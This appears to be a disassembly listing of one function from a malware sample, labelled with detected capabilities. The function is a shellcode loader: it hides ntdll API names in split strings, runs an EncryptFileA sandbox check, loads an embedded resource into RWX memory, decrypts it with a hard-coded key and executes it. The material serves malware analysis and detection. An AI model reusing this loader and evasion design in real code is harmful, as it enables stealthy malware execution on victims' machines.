Function at 0x402720
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push 0xffffffffffffffff
push 0x43a8e4
mov eax, dword fs:[0]
push eax
sub esp, 0x20c
mov eax, dword [0x44d670]
xor eax, esp
mov dword [esp + 0x208], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x44d670]
xor eax, esp
push eax
lea eax, [esp + 0x220]
mov dword fs:[0], eax
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.EncryptFileA
push str.Advapi32.dll
mov dword [esp + 0x4c], ecx
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.C:WindowsSetupStateState.ini
call eax
test eax, eax
jne 0x402dd2
xor ebx, ebx
push 6
mov esi, 0xf
push str.LdrFin
lea ecx, [esp + 0x1d0]
mov dword [esp + 0x28], ebx
mov dword [esp + 0x1c], ebx
mov dword [esp + 0x50], 0xa
mov dword [esp + 0x54], 0x1e55
mov dword [esp + 0x58], 0x409
mov dword [esp + 0x20], ebx
mov dword [esp + 0x1e8], esi
mov dword [esp + 0x1e4], ebx
mov byte [esp + 0x1d4], bl
call fcn.004017f0
push 5
push str.dReso
lea ecx, [esp + 0x128]
mov dword [esp + 0x230], ebx
mov dword [esp + 0x140], esi
mov dword [esp + 0x13c], ebx
mov byte [esp + 0x12c], bl
call fcn.004017f0
push 6
push str.urce_U
lea ecx, [esp + 0xf0]
mov byte [esp + 0x230], 1
mov dword [esp + 0x108], esi
mov dword [esp + 0x104], ebx
mov byte [esp + 0xf4], bl
call fcn.004017f0
lea eax, [esp + 0x120]
push eax
lea ecx, [esp + 0x1cc]
push ecx
lea edx, [esp + 0x2c]
push edx
mov byte [esp + 0x234], 2
call fcn.00401a20
lea ecx, [esp + 0xf4]
push ecx
push eax
lea edx, [esp + 0x1f8]
push edx
mov byte [esp + 0x240], 3
call fcn.00401a20
add esp, 0x18
mov ebp, 0x10
mov byte [esp + 0x228], 5
cmp dword [esp + 0x3c], ebp
jb 0x40289c
mov eax, dword [esp + 0x28]
push eax
call fcn.00403e54
add esp, 4
push 3
push 0x43d82c
lea ecx, [esp + 0x144]
mov dword [esp + 0x44], esi
mov dword [esp + 0x40], ebx
mov byte [esp + 0x30], bl
mov dword [esp + 0x15c], esi
mov dword [esp + 0x158], ebx
mov byte [esp + 0x148], bl
call fcn.004017f0
push 5
push str.Acces
lea ecx, [esp + 0x17c]
mov byte [esp + 0x230], 6
mov dword [esp + 0x194], esi
mov dword [esp + 0x190], ebx
mov byte [esp + 0x180], bl
call fcn.004017f0
push 9
push str.sResource
lea ecx, [esp + 0xd4]
mov byte [esp + 0x230], 7
mov dword [esp + 0xec], esi
mov dword [esp + 0xe8], ebx
mov byte [esp + 0xd8], bl
call fcn.004017f0
lea ecx, [esp + 0x174]
push ecx
lea edx, [esp + 0x140]
push edx
lea eax, [esp + 0x2c]
push eax
mov byte [esp + 0x234], 8
call fcn.00401a20
lea ecx, [esp + 0xd8]
push ecx
push eax
lea edx, [esp + 0x214]
push edx
mov byte [esp + 0x240], 9
call fcn.00401a20
add esp, 0x18
mov byte [esp + 0x228], 0xb
cmp dword [esp + 0x3c], ebp
jb 0x40298e
mov eax, dword [esp + 0x28]
push eax
call fcn.00403e54
add esp, 4
push 2
push 0x43d814
lea ecx, [esp + 0x10c]
mov dword [esp + 0x44], esi
mov dword [esp + 0x40], ebx
mov byte [esp + 0x30], bl
mov dword [esp + 0x124], esi
mov dword [esp + 0x120], ebx
mov byte [esp + 0x110], bl
call fcn.004017f0
push 3
push 0x43d810
lea ecx, [esp + 0x198]
mov byte [esp + 0x230], 0xc
mov dword [esp + 0x1b0], esi
mov dword [esp + 0x1ac], ebx
mov byte [esp + 0x19c], bl
call fcn.004017f0
push 4
push str.tdll
lea ecx, [esp + 0x160]
mov byte [esp + 0x230], 0xd
mov dword [esp + 0x178], esi
mov dword [esp + 0x174], ebx
mov byte [esp + 0x164], bl
call fcn.004017f0
lea ecx, [esp + 0x190]
push ecx
lea edx, [esp + 0x108]
push edx
lea eax, [esp + 0x2c]
push eax
mov byte [esp + 0x234], 0xe
call fcn.00401a20
lea ecx, [esp + 0x164]
push ecx
push eax
lea edx, [esp + 0x1c0]
push edx
mov byte [esp + 0x240], 0xf
call fcn.00401a20
add esp, 0x18
mov byte [esp + 0x228], 0x11
cmp dword [esp + 0x3c], ebp
jb 0x402a80
mov eax, dword [esp + 0x28]
push eax
call fcn.00403e54
add esp, 4
mov eax, dword [esp + 0x1b0]
mov dword [esp + 0x3c], esi
mov dword [esp + 0x38], ebx
mov byte [esp + 0x28], bl
cmp dword [esp + 0x1c4], ebp
jae 0x402aa3
lea eax, [esp + 0x1b0]
push eax
call edi
mov dword [esp + 0x18], eax
mov eax, str.ntdll.dll
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x402ab2
lea ecx, [esp + 0x18]
push ecx
sub eax, edx
push eax
push str.ntdll.dll
call fcn.00401050
add esp, 8
push eax
push ebx
call sub.KERNEL32.dll_GetModuleHandleExA
test eax, eax
je 0x402b01
mov edx, dword [esp + 0x18]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.LdrFindResource_U
push edx
call edi
mov dword [0x44ec80], eax
mov eax, dword [esp + 0x18]
push str.LdrAccessResource
push eax
call edi
mov dword [0x44ec8c], eax
lea ecx, [esp + 0x40]
push ecx
push 3
lea edx, [esp + 0x50]
push edx
push 0x400000
call dword [0x44ec80]
cmp eax, ebx
jl 0x402b36
mov edx, dword [esp + 0x40]
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0x24]
push ecx
push edx
push 0x400000
call dword [0x44ec8c]
mov eax, dword [esp + 0x14]
push 0x40
push 0x1000
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x20]
push ecx
mov edi, eax
push edx
push edi
call fcn.004207c0
lea eax, [esp + 0x28]
push eax
push 0x34
push str.nFQWy_UoK7WICu_3utkfCE_wriubwTEKDm4Ol6ysJG6jWu
call fcn.00401190
mov edx, dword [esp + 0x2c]
lea ecx, [esp + 0x34]
push ecx
push edx
push edi
call fcn.004021b0
add esp, 0x24
call edi
push ebx
call fcn.004079de
add esp, 4
push ebx
lea ecx, [esp + 0x58]
call fcn.00402e80
mov ecx, dword [esp + 0x44]
lea eax, [esp + 0x54]
mov dword [ecx + 0x20], eax
mov ecx, eax
mov byte [esp + 0x228], 0x12
call fcn.00406d35
lea ecx, [esp + 0x54]
mov byte [esp + 0x228], 0x11
call fcn.004065fb
cmp dword [esp + 0x1c4], ebp
jb 0x402bd8
mov edx, dword [esp + 0x1b0]
push edx
call fcn.00403e54
add esp, 4
mov dword [esp + 0x1c4], esi
mov dword [esp + 0x1c0], ebx
mov byte [esp + 0x1b0], bl
cmp dword [esp + 0x170], ebp
jb 0x402c06
mov eax, dword [esp + 0x15c]
push eax
call fcn.00403e54
add esp, 4
mov dword [esp + 0x170], esi
mov dword [esp + 0x16c], ebx
mov byte [esp + 0x15c], bl
cmp dword [esp + 0x1a8], ebp
jb 0x402c34
mov ecx, dword [esp + 0x194]
push ecx
call fcn.00403e54
add esp, 4
mov dword [esp + 0x1a8], esi
mov dword [esp + 0x1a4], ebx
mov byte [esp + 0x194], bl
cmp dword [esp + 0x11c], ebp
jb 0x402c62
mov edx, dword [esp + 0x108]
push edx
call fcn.00403e54
add esp, 4
mov dword [esp + 0x11c], esi
mov dword [esp + 0x118], ebx
mov byte [esp + 0x108], bl
cmp dword [esp + 0x218], ebp
jb 0x402c90
mov eax, dword [esp + 0x204]
push eax
call fcn.00403e54
add esp, 4
mov dword [esp + 0x218], esi
mov dword [esp + 0x214], ebx
mov byte [esp + 0x204], bl
cmp dword [esp + 0xe4], ebp
jb 0x402cbe
mov ecx, dword [esp + 0xd0]
push ecx
call fcn.00403e54
add esp, 4
mov dword [esp + 0xe4], esi
mov dword [esp + 0xe0], ebx
mov byte [esp + 0xd0], bl
cmp dword [esp + 0x18c], ebp
jb 0x402cec
mov edx, dword [esp + 0x178]
push edx
call fcn.00403e54
add esp, 4
mov dword [esp + 0x18c], esi
mov dword [esp + 0x188], ebx
mov byte [esp + 0x178], bl
cmp dword [esp + 0x154], ebp
jb 0x402d1a
mov eax, dword [esp + 0x140]
push eax
call fcn.00403e54
add esp, 4
mov dword [esp + 0x154], esi
mov dword [esp + 0x150], ebx
mov byte [esp + 0x140], bl
cmp dword [esp + 0x1fc], ebp
jb 0x402d48
mov ecx, dword [esp + 0x1e8]
push ecx
call fcn.00403e54
add esp, 4
mov dword [esp + 0x1fc], esi
mov dword [esp + 0x1f8], ebx
mov byte [esp + 0x1e8], bl
cmp dword [esp + 0x100], ebp
jb 0x402d76
mov edx, dword [esp + 0xec]
push edx
call fcn.00403e54
add esp, 4
mov dword [esp + 0x100], esi
mov dword [esp + 0xfc], ebx
mov byte [esp + 0xec], bl
cmp dword [esp + 0x138], ebp
jb 0x402da4
mov eax, dword [esp + 0x124]
push eax
call fcn.00403e54
add esp, 4
mov dword [esp + 0x138], esi
mov dword [esp + 0x134], ebx
mov byte [esp + 0x124], bl
cmp dword [esp + 0x1e0], ebp
jb 0x402dd2
mov ecx, dword [esp + 0x1cc]
push ecx
call fcn.00403e54
add esp, 4
xor eax, eax
mov ecx, dword [esp + 0x220]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x208]
xor ecx, esp
call fcn.00421070
add esp, 0x218
ret